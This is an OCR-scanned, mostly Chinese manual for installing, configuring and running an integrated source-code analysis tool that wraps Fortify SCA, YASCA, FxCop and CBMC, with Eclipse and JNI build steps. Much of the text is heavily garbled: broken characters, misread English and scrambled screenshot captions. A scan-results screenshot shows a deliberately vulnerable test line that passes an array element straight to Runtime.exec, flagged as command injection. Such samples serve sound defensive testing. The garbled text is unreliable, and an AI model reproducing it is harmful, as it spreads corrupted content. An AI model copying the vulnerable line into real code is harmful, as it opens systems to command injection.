4 @ 3| [Visual Studio P 4]\ VC\bin p &~
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5.2 14 FHEN S (7 Visual CH+5%iE®E (clexe) » BFE_F

% [Visual Studio P 4%]\ VC \ vcvarsall.bat

% cl.exe
A
EN Ch\Windows\system32\icmd.exe e ——— |i@ﬁ1

Microsoft Windows [
Copyright <c> 2889 Microsoft Corporation. All rights reserved.

C:“Uzerssaaron>'c:“Program Files“Microsoft Uizual Studio 9.8~UCwcuarsall_hbat"
Setting environment for using Microsoft Uisual Studio 2888 xB6 tools.

C:~Users~aaronrcl
Microsoft (R> 32-hit C/C++ Optimizing Compiler Uersion 15.00.21822 .88 for 80x86
Copyright <(C> Microsoft Corporation. All rights reserved.

ng "‘j‘;’-’:: cl [ option... 1 filename... [ ~link linkoption... 1

C:~lUserssaaron’?>

I 4 > Visual Studio 2008 % % s sk 22 & o
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2.2 Fortify SCAV2.6.5 % %

Al

% Z- @2~ Fortify SCAV2.6.5 % &k - % &% B »  wiEwP -

Fortify 260 v2.6.5 - InstallShield Wizard &l

Welcome to the InstallShield Wizard for Forhify
360 v2.6.5

The InstallShield wizard will install Fartify 360 v2.6.5 on
your computer. To continue, click Mest.

cBack | Mewt> |l Cancel ]

Fortify 360 ¥2.6.5 - InstallShield Wizard

License Agreement

Flease read the following icense agreement carefully.

FORTIFY SOFTWARE
TERMS AND CONDITIONS OF USE
IMPORTANT NOTICE

[BIE

YOU MAY NOT INSTALL OR USE (OR HAVE YOUR EMPLOYEES INSTALL OR USE)
THE FORTIFY SOFTWARE UNLESS YOU HAVE THE AUTHORITY TO AGREE TO THESE
TERMS AND CONDITIONS AND HAVE CAREFULLY READ AND AGREED TO THE
TERMS AND CONDITIONS SET FORTH BELOW (THE "AGREEMENT"). BY

INSTALLING QR USING THE FORTIFY SOFTWAREYOU ARE CONSENTING TO BE
ROLINN RY THIS AGRFFMFNT [F VO N0 NOT HAVE THE ALITHNRITY TN AGRFF

(#)1| accept the terms of the license agreemerl

(1| do not accept the terms of the license agreement

< Back " Hewut » ][ Cancel ]
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% 2= 1 &P~ license key file 7 & p &

Chooze folder containing licensze key file

Zelect the folder containdng the file fortifw license
Path:
F
Divectories:
ElCEx= ~
L) HeAosris
= iy HAERE
e AHEEREERE (C)
e AHEEREERE (D)
e FFHEREEE (B B
EREP] 100526 2143 (F:)
) 20102
OFFICELZ (32
) ENEE T ESERE (1 b
| mEE | [ HT5H ]

H A= E P Fortify SCAV2.6.5 % X P &

Forhify 360 2 6.5 - InstallShield Wizard

Choose Destination Location

Select folder where setup will ingtall files,

Setup will inztall Fortify 360 v2.6.5 in the fallowing folder.

To ingtall to thiz folder, click Mext. To install to a different folder, click Browse and select
another folder.

Destination Falder
Do Ry Sk Eairh TH04 255

<Back || Mest> |l Cancel ]
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HFe P EE LKL F LR

B

7~

Forfity SCA plugin for VS 2008 (i VS =% %%
Fortify 360 v2.6.5 - InstallShield Wizard

*t # (IDE plugins) » #&
Select Features

Select the features zetup will install

AL 2der iw
LR 3 %
> =3
) o

Select the features pou want to inzstall, and deselect the features you do nat want ta install.

[w] Associate .fpr files with Audit Workbench #
Process Designer
[=)-[y| Fortify SCA IDE Pluging

Drezcription
[]Fortify SCA plugin for Eclipse 3.x Based 10

[]Fortify SCA plugin for 'S 2
1 Frhi 2 J

003
]

856.71 ME of space required on the D drive

199852 78 ME of space available on the D diive

X K

< Back H
iR iT Y

Mest »

] [ Cancel
Setup Status

Fortify 360 v2.6.5 - InstallShield Wizard

Fartify 360 2 6.5 iz configuring vour new software inztallation.

Copying new files

Cancel
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Z_Fortify SCA 3% .1 4% (rulepack) » p- st 9 2 E & T £
>80 @ 2 #K R rulepack 4 e
6.1 E{EAEfFHRE T

Fortify 360 ¥2 6.5 - InstallShield Wizard

I
X
sl
"

Setup Type
Select the setup type that best suits your needs.

Would you like to download milepacks? [Recommended)

Oves

< Back Cancel

6.2 #-=% kP 75 rulepack #%(*.bin)4g & 3
[Fortify SCA P 4%]\ Core\ config\rules p 4%~

— = |
@Qvl | o2nppiication\Fortify Software\Fortify 360 v2.6.5\Coretconfigrules |+ [ 4 | [ #5 e o]
HaEE -~ HMAZENE - =ZEDE ~ == HEERE =~ I @
ik BRRE & Al
g T= | | core_annotations.bin 76 KB
M SR || core_cfml bin 125 KB
T BEUE | | core_cpp.bin 415 KB
|| core_dotnet.bin 254 KB
o EmE || core_java.bin 242 KB
@ i | | core_javascriptbin 45 KB
o m= | | core_php.bin 172 KB
H =2 | | core_python.bin 37 KB
= EA | | core_sql.bin 63 KB
|| core_vb.bin 88 KB
. = || extended_config.bin 212 KB
T - || extended_content.bin 8KB
& $§E§ & | extended_cpp.bin 306 KB
= $Eﬁ-ﬁ¥ D) || extended_dotnet.bin 123 KB
- FRIERE) || extended_java.bin 632 KB
. || extended_jsp.bin 95 KB
G =3 || extended_sql.bin 56 KB
=] README 1KB
I } 18 @EE

% Fortify SCAV2.6.5 & %% & o
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2.3 Java Development Toolkit 1.6 Update 17 % 3

# B - % L Java Development Toolkit (JDK)% % B 4 -

i;% Jaya(TM}) SE Development Kit 6 Update 17 - Custom Sefup

Custom Setup

Select the prograr Features you want installed,

Select optional features to install from the lisk below, You can change your choice of Features after
installation by using the Add/Remove Programs utility in the Control Panel
Feature Description

Javal TM) SE Development Kit &
Update 17, including private JRE

Development Tools

Demos and Samples & Update 17, This will require
Source Code 300ME on your hard drive,
Public JRE

Java DB

Install bo:

Ci\Program Files'Javaljdkl 6.0_17%

[ < Back ” Mext = ] [ Cancel ]

ange..." to inskall Java to a different Folder,

Install to:

Ci\Program Filesh Javaljres)

Cancel
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L
I

ﬁ%iiéﬁﬁ&
(Windows XP)

(Windows 7)

5 i Path 4 + [JDK P %]\ bin -
Angon(tat) > P F - ERER > BRSK
— 4 SR HGE P Path — % —

4e b ;[ODK B &]\bin (L& b 5L)

T(+H4E) — M F > R ABERT -
—>

4e b ;[ODK B &]\bin (L& p 5°)

HFRE D0 £ PN EE javac (Java il R) o mesuE KIS F e

IC:“Usersaaron>javac

g
—gInone

—nowarn
—verhose
—deprecation
sed
—classpath <path>
on processors
—cp <path?>
on processors
—sourcepath {path>

—extdirs <{dirs>

—proc:<none.only’
ation is done.

—d {directory>

-
BN C\Windows\system32icmd.exe |£|EI&J

zage: javac <options> <{source files>
where possible options include:

—g:{lines.vars.source’ Generate only some debugging info

—endorseddirs <dirs> Ouerride location of endorsed standards path

—processor <{classl>[.<{class2>.<{class3>...1Names of the annotation processors t
0 run; bypasses default discovery process
—processorpath <{path> Specify where to find annotation processors

Generate all debugging info
Generate no debugging info

Generate no warnings
OQutput messages about what the compiler is doing
Qutput source locations where deprecated APIs are ul

Specify where to find user class files and annotatil

Specify where to find user class files and annotat i

Specify where to find input source files
—bootclasspath <{path> Override location of bootstrap class files

OQuerride location of installed extensions

Control whether annotation processing and~or compil|

Specify where to place generated class files

» Java Development Toolkit % #% % = -
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2.4 Dev-C++4.9.92 % %

kll

7] Fortify SCA i2 17 C 33 & CHHekBIpF » F & % gcc & g+t E >
Flpb At 4 % Dev-C++ 4.9.9.2 % % o Dev-CH+B % /) e p v ¢ @2k i { 47
dofRFE v (Ega ™ @ % i )pE&k @ * MinGW (Minimalist GNU for
Windows) #r#% & gec ~ g+ E o

% - ¢ BhiE devepp-4.9.9.2_setup.exe > BriBF T EH o RETF o

Installer Langunage
)  Dev-Ct+ 5 beta 9 release (4.9.9.2)
(*j ] License Agreement —
' Please review the license kerms before installing Dev-C++ 5 beta 9 release (4,9,9,2), Qj

Press Page Down to see the rest of the agreement,

3londshed Dev-C++ is distributed under the GMU General Public License.
Eie sure ko read it before using Dev-C++,

[

GMU GEMERAL PUBLIC LICEMSE
Version 2, June 1991

Copyright {C) 1989, 1991 Free Software Foundation, Inc,
675 Mass Ave, Cambridge, MaA 02139, USA
Evervone is permitted to copy and distribute werbatim copies
of this license document, but changing it is not allowed., W

If wou accept the terms of the agreement, dlick I Agree to continue. You musk accept the
agreement ko install Dev-C++ 5 beta 9 release (4.9,9.2),

[ I Agree ] [ Zancel ]

HFS CEELRR P BRI IR A€ K Dev-CHt
# Dev-Ct+ 5 betn 9 release (4.9.9.2) Al=l.3

Chooze Components -
Choose which Features of Dey-C++ 5 beta 9 release (4.9,9.2) vou want bo install, (

Choose components

Select the bype of install: | 3 |
o, select the optional Dev-CH+ progran # Description
components you wish ko Example files —
install: :
Help Files
Icon files

Mingw compiler sy
Language files  —
fssaciate C and ©
Create shartcuts i o,
1 - . - —
< | >

Space required: 59, ZMB

< Back ” Mext = ] [ Zancel
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i

—

Dey-C++ first ime configoration

File Edit Search iew 1oudecided to use the code completion feature. To
— — = optimize this process, it iz recommended to create a

H D |:| @ cache of the standard headers files.

mm
5 Lle E E Q% Do wou want to create the code completion cache
mair.cpp | naows’? This can take several minutes. |t iz possible to
create this cache later in Editar Ophiong, Clasz
finclude <u Browsing, Completion.

S*% Declare

LEESULT CAl Parzing file:
d:happlicationdev-cpphincludehdbghelp. b
ERRREEEER

A* 0 Make &}
char =zClas

int WINAPI

b4

- & %t% =i o ;j‘iﬁ = Dev-C++:1 £#g3;% » BEARE X

.
T °

HHe D RBR LS 0 WP Dev-C++ IDEALT » 3% % Path 4 &

(Windows XP) # e g(+4E) — P 3 — EIF 4

(Windows 7)

%> 4+ [Dev-C++P 4%]\bin o
b L BGE B Path — %iE —

sv b [Dev- C++E1§w]\b|n(/1i )

TH(LA) — M F o RS AR T > R

— RE ¥k — ,Z‘f A BGE B Path — %ik —
4e b [Dev-C++p &)\ bin (L& & 5)

'H}:%I VIR A | VTN BlEF gee ~ g+ R T e I

C:“lzerssaaron’gcc
gcc = no input files

IC:slUserssaaronrg++
lg++: no input files

C:\lserssaaron?g

I Dev-C++4992 % %= & o
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2.5 Microsoft FxCop 1.36 % %

License Terms g

Be sure ko carefully read and understand all the rights and restrictions described in the
license kerms, You musk accept the license berms before you can install the software.

MICROSOFT SOFTWARE LICENSE TERMS A

MICROSOFT FrCOp

These license terms are an agreement bebween Microsoft Corporation {or based on
where vou live, one of its affiliakes) and vou. Please read them. They apply to the
software named above, which includes the media on which vou received i, if any. The

terms also apply bo any Microsoft w

Press the Page Down key bo see more bexk,

[¥]1 haye read and accept the license terms.:

[ < Back ][ Mexk = l[ Cancel

HF ERLEPE TRLTE

ji. Microsoft FxCop 1.36 Beta 2 Setup

Destination Folder g

Twpe the path of the Folder where vou would like to install this product,

nistall in Folder:

|D:'l,ﬁpplication'l,Micrusoft FxiZop 1,36 | [ Browse, ..

< Back. ][ Install = ll Cancel

400



=z,
=L

g Microsoft FxCop - My FxCop Project | =RACE X" ]

Eile Edit Project Tools Windows _ﬂa\p

D& H &S ®|

Targets | Rules 'm Excluded In Project Excluded In Source Absent
--{¥/|5} My FxCop Project

Level FixCategory Certainty Rule ltem

< m 3
Use the project menm to add a file 1o analyee
To disable checking for updates, select "Settings..." from the Tools menu

and unselect "Check for updates to FxCop on startup”.

Checking for an update to FxCop...

Microsoft FxCop 10.0 has been released

To download this update later, select "Check for Updates" from the Help menu.

An update to FxCop is available at http://www.microsoft.com/downloads/details,.aspx?Familyl)]

Output | Properties

%25 pl#[FxCop B ]\ FxCop.exe (FxCop GUI 4
[FxCop B 4%]\ FxCopCmd.exe (FXCop console #-5%) » #

r

<
Bl Ch\Windows\system32\emd.exe |5|EI-£—L-J

D:~Application“Microsoft FxCop 1.36>FxCopCnd.exe
Microsoft ¢(R)> FxCop Command-Line Tool, Version 1.36 <(2.8.20%28.8>
Copyright (C)> 2807 Microsoft Corporation. All rights reserved.

More help on command-line options:

i file:<filesdirectory> [Short form: /f:<{filesdirectory’>]
fssembly file{s> to analyze.

L rule:{[+i-1file ~ directory > [Short form: Apr:{[+i-1file ~ directory >1
Directory containing rule assemblies or path to rule assembly. “*+' enables
all rules, °-' disables all rules.

l/ruleid:<{[+i-1CategoryiiCheckld> [Short form: /rid:{[+!-1CategoryliCheckId>]1
[Category and Checkld strings that identify a Rule. '+’ enables the »ule, ‘-
idisables the rule.

:

Fout :<file> [Short form: rso:{file>]l
FxCop project or XML report output file.

outxsl:<file> [Short form: roxsl:<{file>]
Reference the specified HBS8L in the XML report file. soutxsl:none generates an
HML report with no HEL style sheet.

#t > Microsoft FxCop 1.3.6 % % = =

o
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2.6 Integrated Source Code Analysis Tool % %

k&30 5 ISCA 4
R DB

425~ YASCA ~ CBMC 7% %158 » ] 2

% % ISCAPackage » ™ ™ g & it i 4

cbmc-3-3-2-win/ CBMC 4 P 4k -

doc/ 1138 5 YASCA frw ~ (P s %) o

etc/

lib/

plugins/

resources/

INSTALL

result

yasca

yasca.bat

yasca.exe

yasca.php

ext_java_lib/ ISCA 2 #4258 #7 % gp ¢t Java S5V B o

images/ ISCA 2 #4258 7% B & o

ISCAIlib/ t% 1% j2ee.jar - &P Java EE 758 #7 % o

jni/ ISCA 2 #2534 #7% INI /i & 4p B 3o
(7 4or8 o dll 3058 B &) o

ISCA jar ISCA i #25% » 5 ¥ 4 7 JAR (Java Archive)
¥ o

yasca-2.2-plugins/ | YASCA b’L’r%? ‘b B i (pluging) 1

ISCA_RUN.bat ISCA 2 AN T3 ff 0 @ % LR F Ex
ISCA i ﬁ}\ °

setting/ f 7 ISCA L AN TR B K T4 ©

ISCA 4

#2312 Java SE B 3 >
Fov i/t o w ISCAiR* NI ;8% 2
ISCA =& /2 ﬂif’f YASCA & CBMC #ip] > ¢ BF 78 & 773
£ JNI @ * 22 DLL #§) °

F%JN' ulr;\‘ B
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2.7 %3 INI # * 2 DLL #

rE RN e B A B ISCAINI # 5t @ % 22 DLL A 27T - W
5k % & Visual C++ (Visual Studio) » & Visual C++4n:F E (" ™ 4 CL)¥ &t
¥ iF (T o

# #— 1 ISCAPackage\jni p £ » P~

ExecProc.c ~ NativeExeclInterface.java -

# = ¢ %% NativeExeclnterface.java » 1 & > C {2 44 o
2.1 %:¥ NativeExeclnterface.java - # # NativeExeclnterface.class > 7]
NativeExecInterface &+ mil.csist.isca.scan.tool package » -
NativeExeclInterface.class % ** mil \ csist \ isca \ scan \ tool \ B &~ o

% javac  NativeExeclnterface.java I # 2

NativeExeclInterface.class

/I #-.class #% % *> mil \ csist \isca\scan \tool\ P &~

22 = CHepHh 0 45 [package name_class name].h o

% javah mil.csist.isca.scan.tool.NativeExeclInterface

/[ #2 24 mil_csist_isca_scan_tool NativeExeclnterface.h

HF#= 2 CLiE= DLL # -

3.1 & T CLEH $#k
% [Visual Studio F 4]\ VC \ vcvarsall.bat
3.2 %% ExecProc.c © 2 # ExecExtProcess.dll -
% cl -l [jdk_dirpNinclude\ -1 [jdk_dirp\include\win32 -LD
ExecProc.c

-FeExecExtProcess.dll
[jdk dir] % JDK =% %P 4% -

ExecExtProcess.dll =r % % i #7 2 ern DLL £ > #-H & % ISCAPackage \ jni F
4T ;T o

W ARk ¢ HF R A e DLLART FE % * 0 22 WinXP_Win7_DLL
P 4% - ExecExtProcess_win7.dll for Windows 7 ~ ExecExtProcess_winXpProf.dll for
Windows XP Professional -
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2.8 Integrated Source Code Analysis Tool % 33k 3 3K 2

$- T ISCAPE > FAAFISCA K ABER T KR LLIER Y 1 L7
B 0 R ISCARGFET LASINNELE » KT 40T

% Z- : 2% ISCAPackage\ISCA_RUN.bat > #% {7 ISCA i f25¢ -

# Z; - BLiE Setting — Environment Setting NEEEE T o

HEZ XX ARBR R A ERT OK &4

M Environment Setting.

Forlify SC& bin PATH:

D\l pplication’Fortify Software\Fortify 360 v2.6.55bm [I]
Foriify SC4 Report PATH

T\l pplication’Fortify Software\Fortify 360 +2 6 SWCoelconfigheports E
MinG W bin PATH:

T\l pplication'Dev-Cppthin E
FxCop PATH

D\l pplication®ticrosoft FxCop 1.36 @
CEMC bin PATH

D\l pplication®ticrosoft FxCop 1.36 @
Fisual Stodion Version: 2008 -

Fortify SCA bin PATH | 2% #_Fortify SCA 2 #7238 #1 &
[Fortify SCA] \ bin

Fortify SCA Report | & z_Fortify SCA 3 2. 4% 4% (report template)
PATH e
[Fortify SCA] \ Core \ config \ reports

MinGW bin PATH 2K F_QCC ~ g+ AR AT A
[Dev-C++]\ bin & [MinGW]\ bin

FxCop PATH 3% 2 Microsoft FxCop i 4234 #f &
[FXCop P 4]

CBMC bin PATH MIE A OF % % 0 %] CBMC & i
ISCAPackage

Visual Studio Version Visual Studio 2003/2005/2008
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Integrated Source Code Analysis Tool % % # it

ISCA # EH Bl % % é‘i’ﬁfﬁhé? AR TR
ISCA & AHMUFAANFA Hp ;Hir‘f Fe o
ReportSection/ REF A AT E RAEEE
Temp/ B P 45 YASCA R RIE - fhkprie * 2 #5
=
ISCA.conf ISCA & % % ,“iﬁ% = XML = i

¥ —
=
2. -
s

3.1 Integrated Source

ISCAE Z#p xR 3%
: ReportSection/ #%% 2. ))‘Hpéﬁ i

Code Analysis Tool % % # it /i

K

P fﬂ*‘]“,f °

Atk ok

Feto ISCA TS > 145 2 4 F 43P afdl Tl Sl fiteT &
37 5 2 D T ISCA%*#@%
Hutiax @ BTG B Rk TN B 2 ISCA B & #
Bl P BEch g2 ISCA & % 4%
A 1EER R | ERLBERE A1 D
*
EEE R E L g‘r#ﬁ,ﬁli—ad»‘%é’#%&ér}_?gﬁ]ﬂz HTML 2 & 3§
*
311 #H %%
BLEVATH R A O st AR T Y @J»g—;‘s LR 2 EBRE KT
« OK ffé + W & 0 bR 4 ISCA & % FAL 2 -
] NewScanF'-rcject I.':'|IEI|_-$;h]1
Project Mame:
| $';‘%I)\'g";‘%‘ é?ﬁ&
Project Location:
EE L R A A

[ QK ] [Cancel]




3.1.2 & | E

s 3
2R ks R e @ TR-E S S 5 X 2B ~ ISCAconfr ¢ FEEH T E

H— 3 deirl s RRGET R E/R &

313 BEck &%
8LV EL R ‘&!?”?;5 » 5% ISCA & % Flﬁ?} % T |SCA.conf > "’r’i\ »iEE %R
FESIRE § R S D FIE

il EmEs [=s=)
@QV| , « ISCA_PROJECT_TEST » JAVA_TEST »

HeEE -~ HEEHR

i =

i

o J ReportSection

= , Temp
o= || scacont |

m

=il

- =0
& rsEs 0 . o« [ I | b

BEEZE(N): ISCAconf

- ’Integrated SCA configuration file v]

[mezeo /] [ =5 |
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314 A1 EEBR T

BREVAPT L EERR T WRE p
| ¥

2

]

Ry S AR § R RLARE S

¥ $+3 Fortify SCA + YASCA -

FATE D A T o BT Java iR
IFI Properties L':' = ﬂ-‘

Selected Tools:
Fortify SCA

Microsoft FxCop

CBMC
oK ] [ Cancel
e
315 EE a4
TP Cenl - - =+ 2 PR + ok L s , 3] A > AR s AL
8Lz 'é—‘] I %‘ TS A EHEIF A lfz‘; Eha P%] I RLE F 2 HTML %‘
- B
H éﬁ? ¢ o
(i) ze=n s |
Q'\:} (m=E )
GeulE - FRSHR =~ @
r BuEE = e i
B T |, smEEsx
.=t ! [ EEEHE
= SEfuE 2
l | FREENEQ
- mmE Il BEERE
5 st JAVARP
o S @ Chrome HTML Document
= ﬂ:' 26.0 KB
= ;‘ jdk_8ulB_doc =
- £ 101 Kz L
EEEEN): REP -
ZEEED: [Hypertext Markup Language (*.html) v]
- EEmEHE zae || ma |

407
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IV. Integrated Source Code Analysis Tool # i+ it

4.1 Integrated Source Code Analysis Tool #R]# it 4 %

ISCA & 46 BIHER 40 £ 977 ¢

e iR 5 FraE
CHEzH- K% Fortify SCA
CHF 3=t iRl YASCA
CBMC
C++H - % Fortify SCA
CH+3+ =< ¥ 7 YASCA
PHP ¥ - 4 % Fortify SCA
PHP # =x # i8] YASCA
Java 5 - % Fortify SCA
Java =< ¥ P YASCA
VB.NET ¥ - # % Fortify SCA
FxCop

ISCA AT F 2 2 PIRTITHF A m e 32H - X/ =R EPRF
TEHE CRPHE/IPEEE 2R e o

H — /3= P Rl s/ F SEH

@ Single file batch |J v| [E] SCAN

FiEh Fob

PRTE - IR EEFRHEE ) SR TIFRRIE EREFR
P 4% ISCA § 8 TE B & p &P & RIE S R4 - VBINET ¥ - 1
ZHpIEH 2 F o JFiE# Visual Studio VB.INET & £ 7 #+7.sln =45 4 -
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4.2 ¥Rl AL

W Bp- L RTH P“)éﬂfuﬁ%%-’& T e

HI- CRTH- R EBRLSWET kAR CET

HF= L LT kR g ISCA & % e fi -

\r:x

(GL:ISCAE % wfi? g g o)

H e ¢ BLE SCAN > B ST ERART - AT

3 SCAN 4= » T R+ 3HF o

KT P AR A TREART o AT

HES DRI ERRTATHP

1 Integrated Source Code Analysis User Interface

Y

1 E o

)

AT R

T T |

(&) sean jf

File Setting Help
D@ |8
@Singlefle © batch  [Java -] CA\Users\aaromDesktop\ISCA _test\[SCA_JAVA_TEST\Basic3 sz java
Analysis Report -

7 Scan Progress o [ |-

Tool(s) Selection

VASCA

Message:

[VASCA] yasca --sa_home yasca-2.2-plugin: C\u e \Deskt op\ISCA_test\ISCA_PROJECT TEST

VAVA Tar TEST\t mp - i eport -0 "C\Us ars\ on\Desktop\ISCA test

\ISCA_PROJECT_TESTUAVA SINGLE TEST\ReportSectio \zma 1219_21_33_46_YASCA html”

BREARTE
1

Analysis Type: =
Srlinais [Lscufarce |
File/Directary
Language:
Java

PARPIAET R o AR BE S EHIRIP P & o

VB.NET ¥ - # % ¥ |/ » 3% # "Visual Studio %
R
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4.3 #RI4F £

BPZEL > AR EAE I CET I OIREARR ’?’rJ ERd = eV )
ﬁ#%}é—ﬁ L35 1 B waRen® > RAL [ coding style 3R4E 0 A FEAK B A < A
PR —FH) > ZERY — wHETEP1E  BEEHE A +
%gﬁ,ﬁ%ﬁf%ﬁ FAREGT CREPHFEAIE > T LR

1
AR meh E B K AT o
i
W1 Integrated Source Code Analys o . = | B ||
File Setting Help
D@ &% 8
OiSinglefile ® batch  [java +| C\Users\aaron\Desktop\ISCA_testISCA_JAVA TEST =3 SCAN
Analysis Report AliasingS_wrtjava | Arrays6_cmd_injectjava 5
Aliasing5_wrt java 41 15/
Unreleased Resource: Stream 16 * @senet description = "strong updates to array elements”
W Foriify SCA =
PID: Witing to a File emp‘ mens icoTestCes (
[l YAsCA 7L68%) B esp) throws I0Exception |

Anays6_cmd_injectjava:27
Command Injection
[ Fortify SCA (72.67%)
Unchecked Return Value

27 Runtime.getRuntime(.exec(array[0]);  /*BAD*/

28
29

; 3 2 > ¢
R PSS e B 4o R e AR e
32
33

34 publicint getVulnerabilityCount() {

:’fz‘.‘)ﬁ L (ﬁ‘j’}‘#{ rg] ) » :_ retum 1

37} -
Analysis Type: Summary | Detail | Recammen dation

Single file analysis

File/Directory:

Language:

Java

EEACE A

[

/AT%;S’]’:} HTML ;%}J; Zﬂ:\’ ’ —‘!:' W“/;k ‘]4 f; T~ III” - T' & L'\’-’q l? lﬁ % «F ‘,7]‘ ’
a[ISCA % % p &7 \ ReportSectlon\ p f;r’f hqtaE R4edR 4 o 4o Fortify
SCA fpr 48 2 ~ YASCAHTML & 4538 2 ~ FxCop XML 42 ~CBMC = 342 o
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V. Integrated Source Code Analysis Tool J 47 § 2=

o

ISCA 2 Java SE 4v  SWT/JFace ;% E#% » 1 12 Eclipse RCP B # 1 &
TR > T RN 5 ISCA R 4eAS g T2 AR B o &

5.1 & #_Eclipse RCP 3.6 B % % 3

#Ha- AL rxr #_© % % Java Develop Toolkit 1.6 ™2 F 5 & » ¥ 3% T_A4p M % &
BB BHGHEY 23 8) -

#H Z =  #- eclipse-rcp-helios-win32.zip ﬁ’i@‘{ﬁ o

# 2% = eclipse-rcp-helios-win32 \ eclipse \ eclipse.exe 7 & 1 f23¢ » BLiE B
Ez » ¥ 2% Z_workspace #1 B 4 o

@Q'l ‘B CSISTleDlZZD-) eclipse-rcp-helios-win32 L eclipse » ey |

HeEE - MAEZEBE ~ =Bz - =1 FREERE
E=t1 - g =k | ] Foilh
W RHRE == EREH il
B TE configuration
W sSE . dropins
= =uE . features
p2 I
 EEE . plugins (|
El . readme f
) =i || eclipseproduct EPRODUC 1K8
o =5 (=] artifacts XML Document 108 KB
= = eclipse 52KB
==k ¢
=5 S ool )h HET 24K8
v10 Chrome HTML D 17 KB
& reEsc i
gt ED)) ® notice 0. Chrome HTMLD... 9KB
o FEREE
G
’ 13 EEE

= Workspace Launcher lé]

Select a workspace

Eclipse stores your prajects in a folder called a warkspace.
Choose a workspace folder to use for this session.

Workspace: | SRS TN al et log - Browse...

[[] Use this as the default and do not ask again

oK l ’ Cancel
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Hh e L~ ISCA & % o
4.1 g::% File — Import... -
4.2 E# General — EXxisting Projects into Workspace » #& next -
4.3 “Select root directory 78 p 3% %_5 IntegratedAnalysis B 4k(2 "3tk
AP ) &7 Finish » ?'r’i“ ~ |ISCA & % -

F B
= Import @Eﬂ
- — - -
Select
- \J
Create new projects from an archive file or directory. I g 5 I

Select an import source:

type filter text

4 [ General
[T, Archive File
% Existing Projects inta Warkspace
[, File System
£, Preferences
. B CVS
s [ Plug-in Development
> = Run/Debug
s = Tasks
s = Team
s 2= XKML

L%

[ am=nx —— =

select root directory of the projects to tmport

4 || CSIST_ 20101220 .
. cbme-3-3-2-win[FEERE
|, eclipse-rcp-helios-win32 A
> 1. HTMLParser-2.0-SMAPSHOT
4| | IntegratedAnalysis

, settings

BFEleE: Integrated Analysis

(mumEese | [ ®E [ EE |
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HAI ¢ LK ISCA & R 77 Java izt B o
5.1 & = > Package &4t » - +422k:E IntegratedAnalysis —
Properties -
5.2 2Li¥ Java Build Path — Libraries > #* me 4c > #* Eclipse & % #7 3
Java SV B H o

5.3 BLiE Add External JARs » — — 3% T #7 % S5 B JAR # °

ISCA % % %73 & 3 B 4o

2 - Y

B
B
filterbuilder.jar [ F 4P | Java HTML

htmllexer.jar = \ | Parser B ik

htmlparser.jar HTMLParser | & % > & {7

sitecapturer.jar -2.0-SNAPS | YASCA &

thumbelina.jar HOT \bin\ | 4>3F 2 443
-;}fr’l’r °

org.eclipse.core.commands_3.6.0.120100512-1500.jar | [Eclipse RCP | Eclipse

org.eclipse.core.runtime_3.6.0.v20100505.jar 3.6 P 4] \| SWT/Face

org.eclipse.equinox.common_3.6.0.v20100503.jar plugins % %, ISCA

org.eclipse.jdt.ui_3.6.0.v20100602-1600.jar AT

org.eclipse.jface.text_3.6.0.v20100526-0800.jar R e

org.eclipse.jface_3.6.0.120100601-0800.jar

org.eclipse.osgi_3.6.0.v20100517.jar

org.eclipse.swt.win32.win32.x86_3.6.0.v3650b.jar

org.eclipse.text_3.5.0.v20100601-1300.jar

org.eclipse.ui.editors_3.6.0.v20100520-0800.jar

org.eclipse.ui.workbench_3.6.0.120100603-1100.jar

= Properties for IntegratedAnalysis (S0 |
type filter text Java Build Path [CR g - -
Resource =
Builders = Source | (= Projects| B Libraries | &; Order and Export|

Java Build Path JARs and class folders on the build path:

Java Code Style s filterbuilderjar - DANCTU_SSLAB\2010% Zf# |_CSIST\HTMLP4] Add JARs

Java Compiler [ htmllexer.jar - DANCTU_SSLAB\2010E E 5 8|_CSIST\HTMLPars(

Java Editor miparser jar - DANCTU_SSLAB\2010= &8 3_CSIST\HTMLPar | Add External JARs..

Javadoc Location g-eclipse.core.commands 2.6.0120100512-1500 ar - DAeclipl i yo |
g.eclipse.core.runtime_3.6.0.v20100505 jar - D:\eclipse-rcp-hi [ —

g.eclipse equinox.comman_3.6.0v20100503 jar - DAeclipse-1 Add Library.
g.eclipse jdt ui_3.6.0.20100602-1600 ar - D\edipse-rop-hel| —————————
g eclipse jface_3.6.0120100601-0800 jar - D\eclipse-rcp-helid [ Add Class Folder

Project References
Refactoring History
Run/Debug Settings
Task Repository

Task Tags 3 org.eclipse jface text 3.6.0520100526-0800 jar - DA\eclipse-r<p | [ Add External Class Folder.. |
Validation @ org.eclipse.osgi_3.6.0v20100517 jar - DAeclipse-rep-helios-win
VikiText g eclipse swtwin32 win32 x86_3 6.0 v3650h jar - DAeclipse-rc|
g.eclipse.text_3.5.0.420100601-1300ar - D\eclipse-rep-helic| =
g-eclipse.ui.editors_3.6.0.420100520-0800,ar - D\eclipse-rcp Remove
g.eclipse ui workbench_3.6.0120100603-1100 jar - DAeclipse-|
@ sitecapturerjar - DANCTU_SSLAB\20105 Z & CSIST\HTMLP: Migrate JAR File
[ thumbelina jar - DANCTU_SSLAB\20102 &H538|_CSIST\HTMLPa
=), JRE System Library [JavaSE-16]
‘ i v
@ oK. Cancel
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52 %3%ISCAL %

Eclipse RCP IDE # &7 5 # %3 s it » R4 % B 12 :xis » T 34T p

B Mot o TR R ,ufw?_ G e
ISCA & %>

»+ Eclipse RCP #, {7 7 AR TLIRE k¥ 2E Run — Run

Configurations > # Arguments — VM arguments {§ = X = & 5

¥_Java Runtime Environment % %t % # java. I|brary path ’
PR LA #*F INIDLL #59% - 3% 2.7 &

-Djava.library.path=jni- (%
External library 35 % jni P &% >

17 % %3 2:E Run — RunAs — JavaApplication -

F ' & 8% Run — Debug As — Java Application -

= Run Configurations

(oo

Run a Java application

T LIEES
type filter text
& Eclipse Application
3 Java Applet
[T Java Application
[3] FileTree
[3 FortifyXMLParser
[T FortifyXMLParser (1)
(7] IntegratedAnalysis
[T] TestHTMLParser
3] TestProcess
3] TestTreeViewer
[T] YASCAReportParser
Ju JUnit
Ji JUnit Plug-in Test
4 OSGi Framework
[ RAP Application
(31 RAP JUnit Test
i Task Context Plug-in Test
Juy Task Context Test

< m b

Filter matched 18 of 18 items

@)

Create. manage. and run configurations

o

© Main [#9= Arguments = JRE| ¥; Classpath| s Source| B Environment | =] Common

MName: Integrateddnalysis

Program arguments:

WM arguments:
-Djava.library.path=jni

Working directory:
@ Default: ${workspace_locIntegratedAnalysis)

(@) Other:
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5.3 ﬁ’l 4 Executable JAR

¥y /ig ez 21501518 Eclipse 3% ¢4 & 7 5 p # & 2 Executable JAR 4>
